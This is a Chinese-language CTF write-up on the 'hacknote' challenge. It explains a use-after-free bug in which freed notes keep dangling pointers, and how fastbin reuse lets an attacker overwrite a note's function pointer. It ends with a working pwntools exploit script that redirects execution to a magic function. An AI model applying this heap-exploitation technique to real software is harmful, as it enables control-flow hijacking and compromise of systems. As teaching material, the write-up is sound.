题目链接
通过这道题对use_after_free进行一次学习
先贴出源代码
add_note
notelist[i] = malloc(8u);
...
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
del_note
free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
prin_note
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
从这三个函数中可以分析出所使用的数据结构
通过观察del_note,发现其free了相应的note后并没有将对应notelist[i]置为NULL,notelist[i]任然指向size 8 的fast bin,这就为我们的再次利用提供了可能。
利用过程
1.两次add,申请大于12B size的chunk
为什么要add两次?为什么要申请12B的chunk?这两个坑稍后再填。
2.两次free,先free(notelist[0]),再free(notelist[1])。两次free后,notelist[0]和notelist[1]所指向的chunk加入fastbin 链表,根据LIFO原则,notelist[1]会接在链表头,当再次需要8B的chunk时,程序不会重新分配一个新的8B的chunk,而会先从fastbin中找一找有没有8B的chunk。
3.再add_note,这次的content中payload = p32(aim fun),
然后print_note(index = 0), aim fun 执行。
notelist[2]首先需要8B大小的chunk,程序会首先从fastbin中寻找有没有被free掉的8B的chunk,发现有,所以把链表head处的notelist[1]所指向的chunk分配给了notelist[2],然后notelist[2]的content的大小为8B,所以将fastbin中剩下的notelist[0]所指向的chunk分配给content。这样下来,content所写入的数据将会被notelist[0]所利用。至于如何利用呢?是否还记得prin_note源码中的
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]))
将notelist[v1]中存的第一个参数作为函数地址引用。所以这样就可以达到执行写入的任意函数了。
给notelist[2]的content中写入任意fun,再prin_note index=0,就可以执行任意fun了。
现在再把前面的两个坑给填了。
1.add两次是为了让fast bin 中有两个notelist[]指向的chunk,使得content能够分到一个fast bin 链表中的chunk。
2.为什么要大于12呢,
chunk的结构就像上图,32位的程序中的pre size 和size均为4B,malloc(12)之后,所分配的payload区域仅为8B,剩下的4B占有下一个chunk的pre size的位置。所以如果malloc(x<=12),则申请的chunk也会分配8B的chunk,使得fast bin链表中会加入有影响的元素。
由于程序里面含有一个magic函数,所以可以直接利用
int magic()
{
return system("cat flag");
}
exp
from pwn import *
context.log_level="debug"
magic = 0x08048986
p = process('./hacknote')
def add(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter('Note size :',str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
def prin(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
#raw_input()
payload1=p32(magic)
add(12,"aaa")
add(12,"ddaa")
delete(0)
delete(1)
add(8,payload1)
prin(0)
p.interactive()
本文参考了以下几个链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
https://paper.seebug.org/445/